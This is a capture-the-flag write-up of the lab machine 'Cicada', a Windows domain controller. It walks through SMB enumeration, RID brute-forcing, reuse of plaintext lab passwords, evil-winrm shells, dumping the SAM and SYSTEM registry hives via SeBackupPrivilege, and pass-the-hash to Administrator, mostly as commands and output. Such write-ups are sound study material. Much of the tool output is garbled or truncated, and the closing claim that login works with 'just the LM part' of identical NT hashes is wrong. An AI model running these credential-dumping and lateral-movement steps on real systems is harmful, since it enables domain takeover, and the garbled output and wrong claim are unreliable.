## Cicada

## **General Info**

IP: 10.129.77.135

OS: WindowsDifficulty: Easy

### **Initial foothold:**

I ran an Nmap scan to identify open ports on the target machine. The scan revealed multiple common ports you would usually see on window machines.

```
-(kali@kali)-[~/Downloads/HTB/Cicada]
$ nmap -sV -p- -T4 10.129.77.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 14:45 EST
Nmap scan report for cicada.htb (10.129.77.135)
Host is up (0.015s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT
        STATE SERVICE
                               VERSION
53/tcp open domain
                                 Simple DNS Plus
           open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-03 02:48:07Z)
88/tcp
135/tcp open msrpc
                               Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Direction
                                Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
          open kpasswd5?
464/tcp
593/tcp open ncacn_http
636/tcp open ssl/ldap
3268/tcp open ldap
                              Microsoft Windows RPC over HTTP 1.0
                                Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
                                Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
54238/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.72 seconds
```

```
—(kali⊛kali)-[~/Downloads/HTB/Cicada]
$ nmap -sCV -p 445 10.129.77.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 15:19 EST
Nmap scan report for cicada.htb (10.129.77.135)
Host is up (0.013s latency).
        STATE SERVICE
                            VERSION
445/tcp open microsoft-ds?
Host script results:
clock-skew: 7h00m19s
| smb2-time:
   date: 2025-01-03T03:20:27
|_ start_date: N/A
| smb2-security-mode:
    3:1:1:
      Message signing enabled and required
```

### **Enumeration:**

Since port 139 tcp (netbios-ssn) and port 445 tcp (Microsoft-ds) are open (even though SMB has a ? since messaging is enabled its most likely active) we can try to access the shares by using the command smbclient -L //<ip addr>/

```
-(<mark>kali⊗kali</mark>)-[~/Downloads/HTB/Cicada]
smbclient -L //10.129.77.135/
Password for [WORKGROUP\kali]:
        Sharename
                        Type
                                   Comment
        ADMIN$
                                   Remote Admin
                        Disk
                                   Default share
        C$
                        Disk
        DFV
                        Disk
                        Disk
        HR
        IPC$
                        IPC
                                   Remote IPC
        NETLOGON
                        Disk
                                   Logon server share
        SYSVOL
                        Disk
                                   Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.77.135 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Since we don't have credentials, we can try accessing these shares with a null session (-N) to check if any are available without authentication. Interesting, we're able to access the HR share and find a file named Notice from HR.txt. We can download this file onto our machine using the get <file name> command

After opening the file, we see a default password but no associated username.

```
Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.

2. Once logged in, navigate to your account settings or profile settings section.

3. Look for the option to change your password. This will be labeled as "Change Password".

4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.

5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards, Cicada Corp
```

Helpful enumeration flags that can be found in the crackmapexec cmd -h man page.

```
Mapping/Enumeration:
  Options for Mapping/Enumerating
  --shares
                        enumerate shares and access
  --sessions
                        enumerate active sessions
                       enumerate disks
  --disks
  --loggedon-users-filter LOGGEDON_USERS_FILTER
                       only search for specific user, works with regex
                        enumerate logged on users
  --loggedon-users
                        enumerate domain users, if a user is specified than only its information is queried.
  --users [USER]
  --groups [GROUP]
                        enumerate domain groups, if a group is specified than its members are enumerated
  --computers [COMPUTER]
                        enumerate computer users
  --local-groups [GROUP]
                        enumerate local groups, if a group is specified then its members are enumerated
                        dump password policy
  -- rid-brute [MAX_RID]
                        enumerate users by bruteforcing RID's (default: 4000)
  --wmi QUERY
                        issues the specified WMI query
  --wmi-namespace NAMESPACE
                        WMI Namespace (default: root\cimv2)
```

To identify potential usernames, we can use crackmapexec to enumerate users anonymously.
By using the --rid-brute flag, we can discover usernames by guessing user IDs without requiring full login credentials.

```
-(kali®kali)-[~/Downloads/HTB/Cicada]
             exec smb cicada.htb
cicada.htb 445
                                                                         *] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
             cicada.htb
                                               CICADA-DC
                                                                             cicada.htb\guest:
            cicada.htb
cicada.htb
                                               CICADA-DC
CICADA-DC
                                                                         [+] Brute forcing RIDs
                                                                                                                   nly Domain Controllers (SidTypeGroup)
dTypeUser)
            cicada.htb
cicada.htb
                                    445
                                               CICADA-DC
                                               CICADA-DC
                                               CICADA-DC
             cicada.htb
                                    445
445
445
                                               CICADA-DC
CICADA-DC
CICADA-DC
            cicada.htb
cicada.htb
             cicada.htb
                                               CICADA-DC
             cicada.htb
            cicada.htb
cicada.htb
cicada.htb
                                               CICADA-DC
CICADA-DC
CICADA-DC
                                    445
445
                                    445
445
445
                                               CICADA-DC
CICADA-DC
             cicada.htb
            cicada.htb
cicada.htb
cicada.htb
                                               CICADA-DO
                                    445
445
                                               CICADA-DC
CICADA-DC
            cicada.htb
cicada.htb
                                               CICADA-DC
CICADA-DC
                                    445
                                    445
445
                                                                                                                                           Group (SidTypeAlias)
Group (SidTypeAlias)
             cicada.htb
                                               CICADA-DO
             cicada.htb
cicada.htb
                                               CICADA-DC
             cicada.htb
cicada.htb
                                    445
                                               CICADA-DC
                                               CICADA-DC
                                               CICADA-DO
             cicada.htb
                                    445
445
445
             cicada.htb
cicada.htb
                                               CICADA-DC
CICADA-DC
                                               CICADA-DO
             cicada.htb
                                               CICADA-DC
             cicada.htb
                                               CICADA-DO
```

We can then put all of the users into a file and run it with crackmapexec to enumerate further.

```
(kali@kali)-[~/Downloads/HTB/Cicada]
$ cat users.txt
emily.oscars [Dasale, peer temporary keys
david.orelious
michael.wrightson
sarah.dantelia
john.smoulder
Administrator
Guest
krbtgt
CICADA-DC$
```

Up until this point we have a default password, Cicada\$M6Corpb\*@Lp#nZp!8, and a list of usernames. We can try to identify valid credentials by using the --loggedon-users flag, which allows us to check which users are currently logged into the system and match the correct username and password combination.

Since we have valid credentials, we can attempt to gain a shell on the target system by using the evil-winrm command. however, we aren't able to get a shell, so we'll need to keep enumerating.

```
(kali@ kali)-[~/Downloads/HTB/Cicada]
$ evil-winrm -i 10.129.77.135 -u "michael.wrightson" -p michael_password.txt

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm
#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthor
izationError

Error: Exiting with code 1

(kali@ kali)-[~/Downloads/HTB/Cicada]
$ evil-winrm -i 10.129.77.135 -u "michael" -p michael_password.txt

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm
#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1
```

I put the password Cicada\$M6Corpb\*@Lp#nZp!8 in a file because I was having a lot of trouble trying to run the special characters

Going back to crackmapexec with valid credentials, we can use the --users flag to enumerate all the users on the system, which may help us find additional accounts or information.

```
kali®kali)-[~/Downloads/HTB/Cicada]
 -$ crackmapexec smb cicada.htb -u
                                          CICADA-DC
                                                               [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True
) (SMBv1:False)
             cicada.htb
                                                               [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
                                          CICADA-DC
                                                               [+] Enumerated domain user(s)
              cicada.htb
              cicada.htb
                                 445
                                          CICADA-DC
                                                               cicada.htb\emily.oscars
cicada.htb\david.orelious
                                                                                                                   badpwdcount: 5 desc:
badpwdcount: 5 desc: Just in case I forget my pa
             cicada.htb
                                 445
                                          CICADA-DC
                                                                                                                   badpwdcount: 0 desc:
badpwdcount: 1 desc:
badpwdcount: 1 desc:
badpwdcount: 0 desc: Key Distribution Center Ser
                                                               cicada.htb\michael.wrightson
cicada.htb\sarah.dantelia
cicada.htb\john.smoulder
cicada.htb\krbtgt
              cicada.htb
                                          CTCADA-DC
                                          CICADA-DC
              cicada.htb
                                 445
                                          CICADA-DC
              cicada.htb
                                          CICADA-DC
              cicada.htb
                                 445
                                          CICADA-DC
                                                               cicada.htb\Guest
                                                                                                                   badpwdcount: 0 desc: Built-in account for guest
             cicada.htb
                                 445
                                          CICADA-DC
                                                               cicada.htb\Administrator
                                                                                                                   badpwdcount: 1 desc: Built-in account for admini
stering the computer/domain
```

Great, we have a new set of credentials, we can try to run evil-winrm again, but no luck

```
(kali@ kali)-[~/Downloads/HTB/Cicada]
$ evil-winrm -i 10.129.77.135 -u "david.orelious" -p david_password.txt

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this mach ine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

(kali@ kali)-[~/Downloads/HTB/Cicada]
$ evil-winrm -i 10.129.77.135 -u "david" -p david_password.txt

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this mach ine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1
```

Since we have new credentials we can go back to crackmapexec and continue enumerating. We can use the --shares flag, which allows us to enumerate the users shares and permissions.

```
-(kali®kali)-[~/Downloads/HTB/Cicada]
                 smb cicada.htb -u
                                    CICADA-DC
                                                      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:Tru
            cicada.htb
e) (SMBv1:False)
            cicada.htb
                                    CICADA-DC
                                                      [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
                                    CICADA-DC
                                                      [+] Enumerated shares
                                    CICADA-DC
            cicada.htb
                                                      Share
                                                                       Permissions
                                     CICADA-DC
                                                                                           note Admin
                                    CICADA-DC
                                                                                        Default share
                                    CTCADA-DC
            cicada.htb
                                    CICADA-DC
            cicada.htb
                                     CICADA-DC
            cicada.htb
                                    CICADA-DC
                                    CICADA-DC
                                                                                        Logon server share
Logon server share
            cicada.htb
                             445
            cicada.htb
                                     CICADA-DC
```

To access these shares we can use smblcient to view the content inside the shares.

```
| Comparison | Co
```

## gaining access

After opening the file, we discover a new set of username and password. With these credentials, we can attempt to gain access through an evil-winrm shell. Third times the charm?

```
(kali@ kali)-[~/Downloads/HTB/Cicada]
$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

Boom, We're in!

```
(kali® kali)-[~/Downloads/HTB/Cicada]
$ sudo evil-winrm -i 10.129.77.135 -u "emily.oscars" -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop \text{LastWriteTime} Length Name \text{Name} \text{-ar--- 1/2/2025 6:32 PM 34 user.txt}

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
```

# Privilege escalation

#### **Checking User Privileges**

| *Evil-WinRM* <b>PS</b> C:\Users\emily.oscars.CICADA\Desktop> whoami /priv |                                |               |
|---|--------------------------------|---------------|
| PRIVILEGES INFORMATION  |                                |               |
| Duivilage Name  | Danasiation                    | 54-4-         |
| Privilege Name  | Description                    | State<br>———— |
| SeBackupPrivilege   | Back up files and directories  | Enabled       |
| SeRestorePrivilege  | Restore files and directories  | Enabled       |
| SeShutdownPrivilege   | Shut down the system           | Enabled       |
| SeChangeNotifyPrivilege   | Bypass traverse checking       | Enabled       |
| SeIncreaseWorkingSetPrivilege   | Increase a process working set | Enabled       |
| *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop>                     |                                |               |

We see an interesting privilege given to user Emily, SeBackupPrivilege

#### Description

The SeBackupPrivilege is a Windows privilege that provides a user or process with the ability to read files and directories, regardless of the security settings on those objects. This privilege can be used by certain backup programs or processes that require the capability to back up or copy files that would not normally be accessible to the user.

However, if this privilege is not properly managed or if it is granted to unauthorized users or processes, it can lead to a privilege escalation vulnerability. The SeBackupPrivilege vulnerability can be exploited by malicious actors to gain unauthorized access to sensitive files and data on a system.

This privilege allows us to back up critical registry hives, such as SAM and SYSTEM, which contain sensitive information like user account details and system configuration.

#### Command explanation:

- reg save: This command saves a part of the Windows registry to a file.
- hklm\sam: This is where Windows stores information about user accounts and passwords.
- hklm\system: This stores system configuration data, like boot settings.
- C:\temp\sam and C:\temp\system: These are the locations where the registry data will be saved.

Reference: <a href="https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md">https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md</a>

After downloading the files to our system, we can use <code>pypykatz</code>, a tool that helps us extract login credentials from the <code>SAM</code> and <code>SYSTEM</code> registry files. This allows us to get the <code>NTLM</code>

hashes.

What's interesting about these NTLM hashes is that the NT hash for each user is identical. This allows us to log in to the administrator account using just the LM part of the hash. Using evil-winrm, we can gain a shell as the administrator and retrieve the root flag.